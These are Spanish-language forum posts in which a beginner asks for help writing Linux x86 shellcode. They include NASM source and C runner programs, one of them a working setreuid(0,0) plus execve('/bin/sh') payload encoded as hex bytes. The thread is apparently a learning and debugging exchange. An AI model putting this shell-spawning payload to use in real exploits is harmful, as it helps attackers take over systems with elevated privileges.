Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - 10537

#1
Hacking / Re: Duda con Shellcode
15 Marzo 2013, 01:05 AM
Hola, ¿Qué tal?, gracias por todo CPU2, ya estoy entendiéndolo mejor =), por cierto me dejaste con la curiosidad de la linea 10.

mov %esp, %ecx


CitarLa 10 como la 8, pero ojo el segundo argumento no es como el primero hace otra cosa, pero no viene al caso, si quieres lo explico.

También tengo una duda en el segundo fuente de porque agregas a al la dirección 0x0b, la pregunta sería, ¿Porqué se debe hacer así?

add $0x0b, %al

Muchas gracias por tu ayuda, de verdad!!!
#2
Hacking / Re: Duda con Shellcode
12 Marzo 2013, 14:54 PM
Citar
Puedo hacer eso del "spoiler", tendrás una SC optimizada y si quieres te ayudo a entenderla.


Hola de nuevo, bueno si lo mejor será hacer lo del "spoiler", me estoy viendo un vídeo en youtube de securitytube donde explican la Shellcode stack method, y tienes razón cpu2 entendí mal tu recomendación y estaba haciendo todo mal, si puedes hacer lo del "spoiler" ya que me quieres ayudar a entender las Shellcodes, de verdad estoy muy agradecido contigo, esperare tu post, Saludos!!!
#3
Hacking / Re: Duda con Shellcode
9 Marzo 2013, 19:41 PM
Bueno he hecho lo que me dijiste en el post anterior, pero me sigue generando la violación del segmento.

Este mi codigo en C.

#include<stdio.h>
#include<string.h>

unsigned char code[] = "\x55\x89\xe5\x89\xc0\xb0\x46\x31"\
"\xdb\x31\xc9\xcd\x80\x31\xc0\x89\xc4\x8d"\
"\x08\xbb\xac\x90\x04\x08\x88\x43\x07\x89"\
"\x5b\x08\x89\x43\x0c\xb0\x0b\xcd\x80\x89"\
"\xec\x5d\xc3";


main(){
   printf("Shellcode Length: %d\n", strlen(code));
   int (*ret)() = (int(*)())code;
   ret();
}



Este es mi código en ASM:


section .data
   shell: db "/bin/shNAAAABBBB"
section .bss

section .text

global _start:

_start:
   push ebp        ;Creo mi stack
   mov ebp, esp
   
   mov eax, eax   
   mov al, 70      ;Llamada a la interrucion 70 setreuid
   xor ebx, ebx    ;lo vuelvo null
   xor ecx, ecx    ;lo vuelvo null
   int 80h         ;llamada al Kernel
   
   xor eax, eax    ;lo vuelvo null
   mov esp, eax
   lea ecx, [eax]
   mov ebx, shell  ;envio a ebx el valor de shell '/bin/shNAAAABBBB'
   mov [ebx+7], al ;sustituyo a la N con el caracter de terminacion \0
   mov [ebx+8], ebx ;sustituyo a la AAAA con Null
   mov [ebx+12], eax ;sustituyo a la BBBB con Null
   mov al, 11        ;Llamada a la interrucion 11 execve
   int 80h           ;llamada al Kernel

   mov esp, ebp      ;destruyo el stack
   pop ebp
   ret


Creo que mi código en ASM esta mal de pies a cabeza, y la segunda opción sería que no entendí las recomendaciones de CPU2, de tanto y tanto cabecear seguí otro tutorial, e hice este ejemplo el cual funciona correctamente:

Código NASM:


section .text

global _start


_start:
        xor eax, eax
        mov al, 70           
        xor ebx, ebx
        xor ecx, ecx
        int 80h

        jmp short ender

        starter:

        pop ebx                 
        xor eax, eax
        mov [ebx+7 ], al       
        mov [ebx+8 ], ebx     
        mov [ebx+12], eax     
        mov al, 11             
        lea ecx, [ebx+8]       
        lea edx, [ebx+12]       
        int 80h               

        ender:
        call starter
        db '/bin/shNAAAABBBB'


Codigo en C:


#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
      "\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
      "\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
      "\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
      "\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";

main(){
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}


Creo que me falta leer mucho más, y pelear también mucho mas con el ASM para poder realizar una Shellcode optimizada y desde cero, si alguien me recomienda algunos tutoriales se los agradecería mucho, bueno la verdad estoy contento porque, poco a poco estoy logrando comprender las Shellcodes.[/size]
#4
Hacking / Re: Duda con Shellcode
5 Marzo 2013, 03:39 AM
¡Gracias por la respuesta  ;D, voy a hacer el cambio que me comentas y luego lo publicare para que le heches un ojo, con respecto a la optimización pues la verdad no esta nada optimizada jajaja es que soy nuevo en las shellcodes y estoy intentando poner en práctica lo aprendido, muchas gracias por tu respuesta, probare y veré que tal =) , gracias!!!
#5
Hacking / Duda con Shellcode
3 Marzo 2013, 19:45 PM
Hola, ¿Cómo están?

Bueno como pueden ver soy nuevo en el foro, y quería saber si alguien me puede ayudar con una shellcode que estoy haciendo para mi propio conocimiento, he leído ya los manuales de ASM y de Shellcodes, obviamente hay shellcodes de ejemplo que ya he hecho, pero estoy intentando hacer una por cuenta propia para saber si en verdad he entendido los manuales, pero me ha ocurrido un problema, hago mi código en ensamblador, lo compilo y todo bien, lo enlazo, me voy al objdump saco el shellcode, y lo coloco en mi programa en C, pero cuando lo ejecuto me dice:


Shellcode Length: 37
Violación de segmento (`core' generado)


colocare aquí mi código en NASM, creo que el error esta allí, y creo que tiene algo que ver con las direcciones a las cuales estoy enviando los registros, pero de verdad tengo muchas dudas, si alguien me puede ayudar se lo agradecería mucho.


section .data
   shell: db "/bin/shNAAAABBBB"
section .bss

section .text

global _start:

_start:
   push ebp        ;Creo mi stack
   mov ebp, esp
   
   mov eax, eax   
   mov al, 70      ;Llamada a la interrucion 70 setreuid
   xor ebx, ebx    ;lo vuelvo null
   xor ecx, ecx    ;lo vuelvo null
   int 80h         ;llamada al Kernel
   
   xor eax, eax    ;lo vuelvo null
   mov ebx, shell  ;envio a ebx el valor de shell '/bin/shNAAAABBBB'
   mov [ebx+7], al ;sustituyo a la N con el caracter de terminacion \0
   mov [ebx+8], ebx ;sustituyo a la AAAA con Null
   mov [ebx+12], eax ;sustituyo a la BBBB con Null
   mov al, 11        ;Llamada a la interrucion 11 execve
   int 80h           ;llamada al Kernel

   mov esp, ebp      ;destruyo el stack
   pop ebp
   ret



Esto es Shellcoding para Linux no para Windows pero se que cualquiera se daría cuenta al ver el código NASM, ahora coloco mi codigo en C con la Shellcode:


#include<stdio.h>
#include<string.h>

unsigned char code[] = "\x55\x89\xe5\x89\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\xbb\xa8\x90\x04\x08\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\xcd\x80\x89\xec\x5d\xc3";


main(){
   printf("Shellcode Length: %d\n", strlen(code));
   int (*ret)() = (int(*)())code;
   ret();
}


Compilo mi código en C y lo ejecuto, y me da el error que le dije al principio:


Shellcode Length: 37
Violación de segmento (`core' generado)


Espero alguien me pueda guiar de verdad les agradecería no postear código ya que sentiría como si me hicieran un spoiler xD, si me pueden guiar y explicar sería mejor para mi, muchas gracias a todos.